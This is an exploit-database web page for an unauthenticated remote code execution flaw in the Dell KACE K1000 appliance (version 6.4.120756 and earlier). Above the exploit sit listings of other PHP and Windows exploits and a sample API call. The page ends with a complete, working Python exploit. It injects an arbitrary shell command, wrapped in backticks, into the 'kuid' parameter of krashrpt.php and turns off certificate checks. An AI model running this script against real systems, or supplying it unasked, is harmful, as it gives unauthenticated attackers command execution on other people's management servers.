Menu

Improved exploit search engine. Try it out

"Dell KACE Systems Management Appliance (K1000) 6.4.120756 - Unauthenticated Remote Code Execution"

Author

"Julien Ahrens"

Platform

php

Release date

2019-04-10

Release Date Title Type Platform Author
2019-04-22 "UliCMS 2019.2 / 2019.1 - Multiple Cross-Site Scripting" webapps php "Kağan EĞLENCE"
2019-04-22 "Msvod 10 - Cross-Site Request Forgery (Change User Information)" webapps php ax8
2019-04-22 "74CMS 5.0.1 - Cross-Site Request Forgery (Add New Admin User)" webapps php ax8
2019-04-22 "WordPress Plugin Contact Form Builder 1.0.67 - Cross-Site Request Forgery / Local File Inclusion" webapps php "Panagiotis Vagenas"
2019-04-16 "Joomla Core 1.5.0 - 3.9.4 - Directory Traversal / Authenticated Arbitrary File Deletion" webapps php "Haboob Team"
2019-04-15 "DirectAdmin 1.561 - Multiple Vulnerabilities" webapps php InfinitumIT
2019-04-15 "CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit)" remote php AkkuS
2019-04-12 "ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)" webapps php AkkuS
2019-04-10 "Dell KACE Systems Management Appliance (K1000) 6.4.120756 - Unauthenticated Remote Code Execution" webapps php "Julien Ahrens"
2019-04-09 "Ashop Shopping Cart Software - 'bannedcustomers.php?blacklistitemid' SQL Injection" webapps php "Doğukan Karaciğer"
2019-02-27 "PHP 7.2 - 'imagecolormatch()' Out of Band Heap Write" remote php cfreal
2019-04-08 "WordPress Plugin Limit Login Attempts Reloaded 2.7.4 - Login Limit Bypass" webapps php isdampe
2019-04-08 "Tradebox CryptoCurrency - 'symbol' SQL Injection" webapps php "Abdullah Çelebi"
2019-04-08 "ShoreTel Connect ONSITE < 19.49.1500.0 - Multiple Vulnerabilities" webapps php Ramikan
2019-04-08 "Bolt CMS 3.6.6 - Cross-Site Request Forgery / Remote Code Execution" webapps php FelipeGaspar
2019-04-08 "Jobgator - 'experience' SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-04-05 "WordPress Plugin Contact Form Maker 1.13.1 - Cross-Site Request Forgery" webapps php "Peyman Forouzan"
2019-04-05 "WordPress 5.0.0 - Crop-image Shell Upload (Metasploit)" remote php Metasploit
2019-04-04 "FreeSMS 2.1.2 - SQL Injection (Authentication Bypass)" webapps php "Yilmaz Degirmenci"
2019-04-03 "PhreeBooks ERP 5.2.3 - Arbitrary File Upload" webapps php "Abdullah Çelebi"
2019-04-03 "Ashop Shopping Cart Software - SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-04-03 "Clinic Pro v4 - 'month' SQL Injection" webapps php "Abdullah Çelebi"
2019-04-03 "iScripts ReserveLogic - SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-04-03 "TeemIp IPAM < 2.4.0 - 'new_config' Command Injection (Metasploit)" remote php AkkuS
2019-04-02 "phpFileManager 1.7.8 - Local File Inclusion" webapps php "Murat Kalafatoglu"
2019-04-02 "Fiverr Clone Script 1.2.2 - SQL Injection / Cross-Site Scripting" webapps php "Mr Winst0n"
2019-04-02 "CMS Made Simple < 2.2.10 - SQL Injection" webapps php "Daniele Scanu"
2019-04-02 "LimeSurvey < 3.16 - Remote Code Execution" webapps php q3rv0
2019-04-02 "WordPress Plugin PayPal Checkout Payment Gateway 1.6.8 - Parameter Tampering" webapps php "Vikas Chaudhary"
2019-04-02 "Inout RealEstate - 'city' SQL Injection" webapps php "Ahmet Ümit BAYRAM"
Release Date Title Type Platform Author
2019-04-10 "Dell KACE Systems Management Appliance (K1000) 6.4.120756 - Unauthenticated Remote Code Execution" webapps php "Julien Ahrens"
2017-10-18 "Check_MK 1.2.8p25 - Information Disclosure" webapps python "Julien Ahrens"
2017-10-13 "AlienVault Unified Security Management (USM) 5.4.2 - Cross-Site Request Forgery" webapps php "Julien Ahrens"
2016-11-21 "Atlassian Confluence AppFusions Doxygen 1.3.0 - Directory Traversal" webapps java "Julien Ahrens"
2016-07-13 "Apache Archiva 1.3.9 - Multiple Cross-Site Request Forgery Vulnerabilities" webapps xml "Julien Ahrens"
2016-05-23 "XenAPI 1.4.1 for XenForo - Multiple SQL Injections" webapps php "Julien Ahrens"
2016-02-23 "Ubiquiti Networks UniFi 3.2.10 - Cross-Site Request Forgery" webapps json "Julien Ahrens"
2013-03-04 "HP Intelligent Management Center - 'topoContent.jsf' Cross-Site Scripting" webapps java "Julien Ahrens"
2012-03-08 "Ilient SysAid 8.5.5 - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities" webapps jsp "Julien Ahrens"
2016-11-22 "AppFusions Doxygen for Atlassian Confluence 1.3.2 - Cross-Site Scripting" webapps java "Julien Ahrens"
2012-08-27 "aoop CMS 0.3.6 - Multiple Vulnerabilities" webapps php "Julien Ahrens"
2014-02-19 "VideoCharge Studio - 'CHTTPResponse::GetHttpResponse()' Remote Stack Buffer Overflow" remote windows "Julien Ahrens"
2013-02-23 "Photodex ProShow Producer - Multiple DLL Loading Arbitrary Code Execution Vulnerabilities" remote windows "Julien Ahrens"
2014-06-01 "Easy File Management Web Server 5.3 - 'UserID' Remote Buffer Overflow (ROP)" remote windows "Julien Ahrens"
2014-03-09 "GetGo Download Manager 4.9.0.1982 - HTTP Response Header Buffer Overflow Remote Code Execution" remote windows "Julien Ahrens"
2014-02-20 "VideoCharge Studio 2.12.3.685 - 'GetHttpResponse()' Man In The Middle Remote Code Execution" remote windows "Julien Ahrens"
2017-12-26 "Ubiquiti UniFi Video 3.7.3 - Local Privilege Escalation" local windows "Julien Ahrens"
2013-09-08 "Watchguard Server Center - Local Privilege Escalation" local windows "Julien Ahrens"
2012-03-08 "Macro Toolworks 7.5 - Local Buffer Overflow" local windows "Julien Ahrens"
2013-11-30 "Kingsoft Office Writer 2012 8.1.0.3385 - '.wps' Local Buffer Overflow (SEH)" local windows "Julien Ahrens"
2013-05-04 "ABBS Audio Media Player 3.1 - '.lst' Local Buffer Overflow" local windows "Julien Ahrens"
2013-03-22 "Photodex ProShow Gold/Producer 5.0.3310/6.0.3410 - 'ScsiAccess.exe' Local Privilege Escalation" local windows "Julien Ahrens"
2013-02-15 "Photodex ProShow Producer 5.0.3297 - '.pxs' Memory Corruption" local windows "Julien Ahrens"
2012-11-20 "FormatFactory 3.0.1 - Profile File Handling Buffer Overflow" local windows "Julien Ahrens"
2012-11-12 "Zoner Photo Studio 15 Build 3 - 'Zps.exe' Registry Value Parsing" local windows "Julien Ahrens"
2012-09-17 "NCMedia Sound Editor Pro 7.5.1 - 'MRUList201202.dat' File Handling Buffer Overflow" local windows "Julien Ahrens"
2014-03-17 "Free Download Manager - Stack Buffer Overflow" dos windows "Julien Ahrens"
2013-11-18 "Avira Secure Backup 1.0.0.1 Build 3616 - '.reg' Buffer Overflow" dos windows "Julien Ahrens"
2013-07-02 "Winamp 5.63 - Stack Buffer Overflow" dos windows "Julien Ahrens"
2013-07-02 "Winamp 5.63 - Invalid Pointer Dereference" dos windows "Julien Ahrens"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46684/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46684/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46684/41130/dell-kace-systems-management-appliance-k1000-64120756-unauthenticated-remote-code-execution/download/", "exploit_id": "46684", "exploit_description": "\"Dell KACE Systems Management Appliance (K1000) 6.4.120756 - Unauthenticated Remote Code Execution\"", "exploit_date": "2019-04-10", "exploit_author": "\"Julien Ahrens\"", "exploit_type": "webapps", "exploit_platform": "php", "exploit_port": null}
                                            

For full documentation follow the link above

Browse exploit DB API Browse

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python
# Exploit Title: Dell KACE Systems Management Appliance (K1000) <= 6.4.120756 Unauthenticated RCE
# Version:       <= 6.4.120756
# Date:          2019-04-09
# Author:        Julien Ahrens (@MrTuxracer)
# Software Link: https://www.quest.com/products/kace-systems-management-appliance/
# Write-up:      https://www.rcesecurity.com/2019/04/dell-kace-k1000-remote-code-execution-the-story-of-bug-k1-18652/
# Note:          The software is maintained by Quest now, but the vulnerability was fixed while Quest was part of Dell.            
#
# Usage: python3 exploit.py https://localhost 'sleep 10'

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

target_url = sys.argv[1]
payload = sys.argv[2]

r = requests.post(target_url + '/service/krashrpt.php', data={
    'kuid' : '`' + payload + '`'
    }, verify=False)

print('Response: %s %s\nKACE Version: %s\nResponse time: %ss' % (r.status_code, r.reason, r.headers['X-DellKACE-Version'], r.elapsed.total_seconds()))